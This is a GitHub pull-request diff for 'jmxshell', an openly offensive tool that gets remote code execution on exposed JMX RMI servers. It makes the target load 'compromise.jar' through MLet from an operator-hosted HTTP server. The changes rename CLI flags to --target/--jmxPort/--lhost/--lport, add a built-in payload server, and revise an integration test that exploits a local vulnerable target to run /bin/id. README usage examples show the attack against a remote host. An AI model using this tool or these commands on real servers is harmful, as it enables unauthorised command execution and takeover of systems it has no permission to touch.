Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 4 additions & 2 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -64,10 +64,12 @@ jobs:
- name: Build for JDK ${{ matrix.target }}
run: |
chmod +x gradlew
# mletUrl deliberately omitted: the build.gradle default (an
# RFC1918 placeholder) is what we want baked into the shipped
# woot.html. jmxshell rewrites it at runtime from --url.
./gradlew --no-daemon clean build distZip mletFile \
-PtargetJdk=${{ matrix.target }} \
-PreleaseVersion=${{ steps.ver.outputs.version }} \
-PmletUrl=http://127.0.0.1:8000
-PreleaseVersion=${{ steps.ver.outputs.version }}

- name: Integration test on JDK ${{ matrix.target }}
shell: bash
Expand Down
23 changes: 12 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -31,18 +31,19 @@ To render `web/woot.html` from the template for a specific URL serving `compromi
## Usage

```
jmxshell --host <host> --port <port> --command <cmd> --url <url> [--username <u> --password <p>]
jmxshell --host <host> --port <port> --cleanup [--username <u> --password <p>]
jmxshell --target <host> --jmxPort <port> --command <cmd> --lhost <ip> --lport <port> [--username <u> --password <p>]
jmxshell --target <host> --jmxPort <port> --cleanup [--username <u> --password <p>]
```

Options:

| Option | Description |
| --- | --- |
| `--host <host>` | JMX RMI server hostname or IP |
| `--port <port>` | JMX RMI server port |
| `--target <host>` | JMX RMI server hostname or IP |
| `--jmxPort <port>` | JMX RMI server port |
| `--command <cmd>` | Command to execute on the target (exploit mode) |
| `--url <url>` | Base URL serving `woot.html` and `compromise.jar` |
| `--lhost <ip>` | Listen host the target fetches `woot.html` / `compromise.jar` from |
| `--lport <port>` | Listen port (`CODEBASE = http://<lhost>:<lport>`) |
| `--cleanup` | Remove MLet beans previously installed by this tool |
| `--username <u>` | JMX username — must be paired with `--password` |
| `--password <p>` | JMX password — must be paired with `--username` |
Expand All @@ -64,14 +65,14 @@ In another, drive the target:

```sh
java -jar build/libs/jmxshell-1.0.0.jar \
--host target.example.com --port 1099 \
--command 'id' --url http://10.0.0.1:8000
--target target.example.com --jmxPort 1099 \
--command 'id' --lhost 10.0.0.1 --lport 8000
```

When done, remove the registered MBeans:

```sh
java -jar build/libs/jmxshell-1.0.0.jar --host target.example.com --port 1099 --cleanup
java -jar build/libs/jmxshell-1.0.0.jar --target target.example.com --jmxPort 1099 --cleanup
```

## Trying it locally
Expand All @@ -97,11 +98,11 @@ cd build/web && python3 -m http.server 8000

```sh
java -jar build/libs/jmxshell-1.0.0.jar \
--host 127.0.0.1 --port 1099 \
--target 127.0.0.1 --jmxPort 1099 \
--command /bin/id \
--url http://127.0.0.1:8000
--lhost 127.0.0.1 --lport 8000

java -jar build/libs/jmxshell-1.0.0.jar --host 127.0.0.1 --port 1099 --cleanup
java -jar build/libs/jmxshell-1.0.0.jar --target 127.0.0.1 --jmxPort 1099 --cleanup
```

Or run all of the above as a single end-to-end test that asserts `/bin/id` returns a `uid=` line:
Expand Down
18 changes: 15 additions & 3 deletions build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,15 @@ repositories {
mavenCentral()
}

dependencies {
testImplementation 'org.junit.jupiter:junit-jupiter:5.10.2'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}

test {
useJUnitPlatform()
}

sourceSets {
payload {
java {
Expand Down Expand Up @@ -64,9 +73,12 @@ tasks.register('payloadJar', Jar) {
}

// Renders woot.html from the template. Pass -PmletUrl=<url> to bake in your
// HTTP server URL; with no flag, a localhost placeholder is used so the
// release zip always ships a usable woot.html (override at runtime).
def defaultMletUrl = 'http://127.0.0.1:8000'
// HTTP server URL; with no flag, an RFC1918 placeholder is used. The
// placeholder is *deliberately* unreachable on most networks so a target
// that somehow processes the shipped woot.html without the operator
// rewriting it cannot accidentally fetch compromise.jar from a real host.
// jmxshell rewrites this file at runtime from the --url argument anyway.
def defaultMletUrl = 'http://10.10.10.10:8000'
tasks.register('mletFile') {
group = 'build'
description = "Generates web/woot.html from the template (-PmletUrl=<url>, defaults to ${defaultMletUrl})"
Expand Down
20 changes: 8 additions & 12 deletions scripts/integration-test.sh
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,9 @@
#
# End-to-end test for jmxshell. Stands up the standalone vulnerable
# target (build/target/jmx-target.jar) on 127.0.0.1:1099 (no auth, no SSL),
# serves compromise.jar over HTTP, runs the matching jmxshell client, and
# asserts the `/bin/id` invocation came back with a uid= line.
# runs the matching jmxshell client (which serves compromise.jar over its
# own built-in HTTP server), and asserts the `/bin/id` invocation came
# back with a uid= line.
#
# Usage:
# scripts/integration-test.sh # target JDK 8 by default
Expand All @@ -12,7 +13,7 @@
#
# Env vars:
# SKIP_BUILD=1 Skip the gradle build step (caller has already built)
# HTTP_PORT HTTP port for serving compromise.jar (default 8000)
# HTTP_PORT HTTP port for serving compromise.jar (default 12345)
# JMX_PORT JMX/RMI port the target listens on (default 1099)
# ID_CMD Path to id binary (defaults /bin/id, falls back to /usr/bin/id)
# EXPECT_FAIL=1 Negative test: assert the exploit fails (exit non-zero)
Expand All @@ -21,7 +22,6 @@
# e.g. for JDK 25 targets where MLet has been removed)
#
# Requirements:
# - python3 in PATH (HTTP server for compromise.jar / woot.html)
# - A JDK reachable via JAVA_HOME or `java` on PATH

set -euo pipefail
Expand All @@ -40,15 +40,13 @@ fi

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
WORK="$(mktemp -d -t jmxshell-it.XXXXXX)"
HTTP_PORT="${HTTP_PORT:-8000}"
HTTP_PORT="${HTTP_PORT:-12345}"
JMX_PORT="${JMX_PORT:-1099}"
TARGET_PID=""
HTTP_PID=""

cleanup() {
set +e
[ -n "$TARGET_PID" ] && kill "$TARGET_PID" 2>/dev/null
[ -n "$HTTP_PID" ] && kill "$HTTP_PID" 2>/dev/null
rm -rf "$WORK"
}
trap cleanup EXIT
Expand Down Expand Up @@ -85,9 +83,7 @@ echo "==> Starting jmx-target.jar on 127.0.0.1:${JMX_PORT}"
>"$WORK/target.log" 2>&1 &
TARGET_PID=$!

echo "==> Serving build/web on http://127.0.0.1:${HTTP_PORT}"
( cd build/web && python3 -m http.server "${HTTP_PORT}" ) >"$WORK/http.log" 2>&1 &
HTTP_PID=$!
echo "==> jmxshell will run its built-in HTTP server on 127.0.0.1:${HTTP_PORT}"

echo "==> Waiting for JMX port ${JMX_PORT}"
for i in $(seq 1 60); do
Expand Down Expand Up @@ -115,9 +111,9 @@ echo "==> Sending command: $ID_CMD"

set +e
OUT="$("$JAVA" -jar "$CLIENT_JAR" \
--host 127.0.0.1 --port "${JMX_PORT}" \
--target 127.0.0.1 --jmxPort "${JMX_PORT}" \
--command "$ID_CMD" \
--url "http://127.0.0.1:${HTTP_PORT}" 2>&1)"
--lhost 127.0.0.1 --lport "${HTTP_PORT}" 2>&1)"
RC=$?
set -e

Expand Down
Loading
Loading